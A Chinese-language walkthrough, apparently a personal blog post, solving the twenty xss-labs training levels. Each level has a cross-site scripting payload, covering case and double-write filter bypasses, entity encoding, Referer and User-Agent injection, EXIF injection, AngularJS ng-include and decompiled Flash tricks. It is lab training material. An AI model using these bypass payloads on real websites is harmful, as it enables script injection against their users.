xss-labs

XSS常见的触发标签

第一关

<script>alert(1)</script>

第二关

1"><script>alert(1)</script>
对前端js代码进行闭合

第三关

闭合之后没有通过
参看源码

' onclick ='javascript:alert(1)'//

第四关

" onclick ='javascript:alert(1)'//

第五关

我们发现 onclick与script 都会被加一个下划线.

这时我们要了解一下

javascript伪协议

<a> 标签使用javascript:伪协议吧。通常我们为<a>标签增加href属性,一般有两个目的:

  1. 跳转到指定的页面,也就是:link选择器可以选择到它。
  2. 有href属性的<a>标签才有cursor:pointer的效果,特别实在低版本浏览器里面。

下面我们主要是聊聊不想要<a>标签跳转到实际页面的几种方法。

    1. <a href="#"></a>
    2. <a href="#none"></a>
    3. <a href="###"></a>
    4. <a href="javascript:"></a>
    5. <a href="javascript:;"></a>
    6. <a href="javascript:void(0)"></a>
    7. <a href="javascript :void(0);"></a>

第1种,点击这个链接后,会让页面跳到页面顶部,在location.href后面增加#号。

第2种,点击这个链接后, 如果页面里面有id为none的元素,会执行锚点机制跳转到这个元素上缘。

第3种,不跳转,可以阻止默认的跳转行为,但是这个在后端代码中容易识别成注释,后面的代码不显示,之前遇到过这种坑,之后再没用过。

后面几种使用了javascript伪协议。我们上面已经对5和7进行了说明,想详细了解void运算符,可前往https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/void查看。

**为什么我要列出4和6呢,**有时候有些同学会忘记写分号,这样在IE6下面点击a标签,会造成页面中的gif暂停。

"><a href=javascript:alert(/heiehi/)>

image-20230224132258469

image-20230224132040975

看下前后两个图的对比我们可以看出,

已经将value闭合,并且构造出了

<a href=javascript:alert(/heiehi/)>

第六关

连href都被过滤了,但是可也通过大写绕过

"><SCRIPT>alert(1)</SCRIPT>>

第七关

双写绕过

" oonnclick=' alert(1)'//

第八关

添加了小写转化函数,过滤了大量字符

unicode编码

javascript:alert(1)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

第九关

同样有小写转换

过滤字符和引号

并且有strpos()函数验证是否有http://

这里全部编码是不行的但是我们可以对javascript的一部分进行编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;t:alert('http://xss')

第十关

可以看到这里有三个隐藏属性

image-20230224135807302

去看了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

我们应该传t_sort参数才可进行XSS

但是传t_sort是没有对话框的这时我们可以直接GET传参

或者将 hidden删除会出现对话框

image-20230224140116407

但是传参后对话框还是会消失

我们这里可以加上 text属性,这样对话框还会存在,我们点击之后就出现弹窗

?t_sort=" type="text" onclick="alert('xss')

image-20230224140416631

第十一关

还是有对话框被隐藏了,但是当利用上一关的payload传参时还是没有对话框

image-20230224142645367

只能去看看源码了

发现t_sortt_ref会回显,但是t_sort需要经过htmlspecialchars()函数会被HTML转换,所以只能选择t_ref,再仔细看发现$str33是由$_SERVER['HTTP_REFERER'];的值,而$_SERVER[‘HTTP_REFERER’];是获取http请求中Referer字段的值

Referer: " type="text" onclick="alert(1)

第十二关

就是换成UA了

User-Agent: "type="text" onclick="alert(1)

第十三关

注入点在cookie

第十四关

,什么是exif
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键进入属性页面查看部分信息。

2,怎么修改exif信息
linux系统使用exiftool工具,进行修改。windows系统直接使用鼠标右键进入属性页面直接修改。

linux系统系统
安装exiftool工具:sudo apt install exiftool

在图片作者栏中写入payload: exiftoll -artist=‘"’ exif.jpg

上传到可以读取图片exif信息的网站,出现弹窗,复现成功。
————————————————
版权声明:本文为CSDN博主「shy014」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_32393893/article/details/104814749

自己搭了xss试一下

首先找个jpg的图片

在能注入的地方注入XSS

'"><img sr=x onerror=alert(2)>

第十五关

类似于文件包含漏洞

我们可以将页面跳转到另一个由xss漏洞的页面

1
http://127.0.0.1/xss-labs-master/level15.php?src=http://127.0.0.1/xss-labs-master/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E

但是没成功,可能是过滤了

找了一个WP感觉说的挺好的

通过简单的测试,我们可以发现,我们可以上传src参数,src参数的值会限制在span标签中的ng-include后面,如下所示:

image-20230224172458120

然而,该参数上传后会被htmlspecialchar()进行过滤,因此我们无法直接对该参数进行XSS攻击。
但是,我们注意到该处的ng-include参数,带有ng-include即表示使用了Angular JS,这也是本关的突破口。

Angular JS简介

为了解决这一关,我们先来简单了解以下Angular JS。(事实上,很多CTF比赛、SRC挖洞,考验的就是对很多知识的了解,例如本关,如果你不懂Angular JS,那么压根就没法突破。)

Angular JS通过新的属性和表达式扩展了HTML,Angular JS可以把应用数据绑定到HTML元素中,可以重复、隐藏和显示HTML元素。Angular JS的很多参数都是以“ng”开头的,例如ng-app、ng-model、ng-bind等等。在这里,ng-include指令用于包含外部的HTML文件,其作用原理非常类似于文件包含(也可以将其简单理解为HTML中的文件包含)。
例如,在本实例中,我们将ng-include后面的值设置为level1.php,其源代码如下所示:
image-20230224172707827

但是这样简单的代码却带来了类似文件包含的效果,如下所示:

image-20230224172734646

需要注意的是,在本质上,我们的浏览器在接收到上述源代码后,再请求指定的文件,而普通的文件包含(例如PHP),是在服务器后台将文件包含后,直接发送给客户端,这两种是有本质区别的。

基于此,我们就可以构造如下的payload:

http://127.0.0.1/xss-labs-master/level15.php?src='level1.php?name=<img src=1 onerror=alert(/bmfx/)>'

这个没成功
'level1.php?name=<img src=123 οnerrοr=alert(1)>'

image-20230224174157094

知道为什么不成功了,

这样,虽然htmlspecialchars()函数过滤了我们输入的敏感符号,但是由于该符号被解析后传递到了level1.php的name参数中,因此我们可以成功突破。利用该payload突破后如下所示:

第十六关

发现字母小写转换img

<input%0Avalue=""%0Aonclick=alert('xss')%0Atype="text">

第十七关

image-20230224185527790

.swf后缀格式的文件是Flash的专用格式

要下载对应插件

审题时忽视了embed标签

img

其实跟之前的差不多

没插件的话这样能够弹窗,其他没弄出来

?arg01= onmousemove&arg02='alert(1)'

第十八关

?arg01=a&arg02= onmouseover=alert(1)

第十九关

他是将arg1作为变量arg02作为值传入

image-20230224201421175

实体化函数在无法闭合,那就利用其他的,看了一下大佬的wp

这关用到的是Flash Xss注入,

需要对flash进行反编译查看源码,使用的是jpexs
通过sifr找到了对应的脚本位置在这里插入图片描述

在此脚本中找到了flash显示的信息,关键在%s这里。我们知道在网页中这个位置是436

那就说明在这个位置有一个变量

image-20230224194347780

只通过p-code发现了这样的一个东西。。。

getvariable

获取变量

image-20230224201816140
感觉是通过url里面获取变量的(看的别人的wp,不知道是如何联想到的),于是构造了一个尝试arg01=version&arg02=123,原因是php里面是这样传参的,必须是两个值。

1
2
3
4
5
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

结果和预期一样,123出现了。
在这里插入图片描述
尝试了大量xss语句发现,只有<a>这种可以,如果是img或者svg后面都会不完整,所以就构造了语句arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>

image-20230224202011132

第二十关

这一关与level 19类似,插件不同,这一关是zeroclipboard xss攻击
什么是zeroclipboard ?ZeroClipboard 是国外大神开发的一个用于剪贴板复制的 JS 插件,它是基于 Flash 来实现跨浏览器的复制功能的。当我们使用 ZeroClipboard 的时候,它会悄悄隐藏一个小小的 Flash 影片(swf),不会对我们的用户界面造成影响。我们只需要借助它实现复制功能就行了。
同样对flash进行反编译得到
image-20230224210304718

查看代码,

image-20230224210335593

获得了id,除了id之外还需要获取到两个值分别是width和heith

下面是大佬的博客,不得不说厉害

查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package
{
import flash.display.LoaderInfo;
import flash.display.Sprite;
import flash.display.StageScaleMode;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.external.ExternalInterface;
import flash.system.Security;
import flash.system.System;

public class ZeroClipboard extends Sprite
{


private var button:Sprite;

private var id:String = "";

private var clipText:String = "";

public function ZeroClipboard()
{
super();
stage.scaleMode = StageScaleMode.EXACT_FIT;
Security.allowDomain("*");
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
button = new Sprite();
button.buttonMode = true;
button.useHandCursor = true;
button.graphics.beginFill(13434624);
button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));
button.alpha = 0;
addChild(button);
button.addEventListener(MouseEvent.CLICK,clickHandler);
button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
});
button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);
});
button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);
});
button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);
});
ExternalInterface.addCallback("setHandCursor",setHandCursor);
ExternalInterface.addCallback("setText",setText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);
}

public function setHandCursor(param1:Boolean) : *
{
button.useHandCursor = param1;
}

private function clickHandler(param1:Event) : void
{
System.setClipboard(clipText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);
}

public function setText(param1:*) : *
{
clipText = param1;
}
}
}

还好不是很长,这个和上一关代码明显不一样,上一关是getlURL,而这一关是ExternalInterface.call
首先通过LoaderInfoURL中取值在这里插入图片描述

除了上面的id以外还要取两个值widthheight在这里插入图片描述

接下来构造payload就可以了,arg01=id&arg02=xss"))}catch(e){alert(/xss/)}//%26width=123%26height=123
首先arg01=id这个就不用解释了,arg02=xss"))}catch(e){alert(/xss/)}//这个地方有不少要说明的,首先为什么要加",来看看不加的结果在这里插入图片描述

所以要加一个"进行闭合,让id不等于xss))}catch(e){alert(/xss/)}//,因为等下会直接将id的值全部都传到flash中,flash中仍然也有需闭合的部分,再来看看有\"的结果

你会发现好像没有什么变化,这因为php做了htmlspecialchar()过滤,至于为什么这样写,那就得看flash的代码了,等会id就会传到下面来在这里插入图片描述

后面的可以不用管,因为会被我后面的//给注释掉,这里注意,由于是通过LoaderInfo取值的,所以就会变成这个样子

1
2
3
{
"id" = "xss"))}catch(e){alert(/xss/)}//"
}

接下来有许多函数都使用了idExternalInterface.call(a,b)相当于JS中的函数名(代码)在这里插入图片描述

我们可以看到上面函数名已经固定了,要是没固定直接改成alert美滋滋,所以我们就从id这里着手,把id的值代进去。
ExternalInterface.call("xxxx","xss\"))}catch(e){alert(/xss/)}//"),这样不太容易看的话,换种方式

1
2
3
4
5
6
private function clickHandler(param1:Event) : void
{
System.setClipboard(clipText);
ExternalInterface.call("ZeroClipboard.dispatch","xss\"))}catch(e){alert(/xss/)}//","complete",clipText);
}

把多余的去掉就会变成这样

1
2
3
4
5
6
7
8
private function clickHandler(param1:Event) : void
{
ExternalInterface.call("ZeroClipboard.dispatch","xss\"))}catch(e){
alert(/xss/)
}
//","complete",clipText);
}

然后你就会发现这样一搞,由于前面少了一个真正可以闭合的"于是会报错,所以后面抛出异常的catch就可以生效了,于是执行后面的alert(/xss/)
再来说下//后面的%26width=123&26height=123%26其实是&,那为啥非得写%26呢,先来看一个&的。在这里插入图片描述

你会发现啥都没有,因为php就拿前两个参数,再看%26在这里插入图片描述

可以了,访问这个地址就搞定了,不得不说我觉得我能耐心把这两题做完,感觉这一年学习真的有进步,哈哈。在这里插入图片描述

其实通过这个我还搞出来了两个其它的payload也可以过关,大家就自己想吧~

还有两个payload吗…

http://a2660832-ab1b-456d-bad8-6831eb30a854.node4.buuoj.cn:81/level20.php?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width=123%26height=123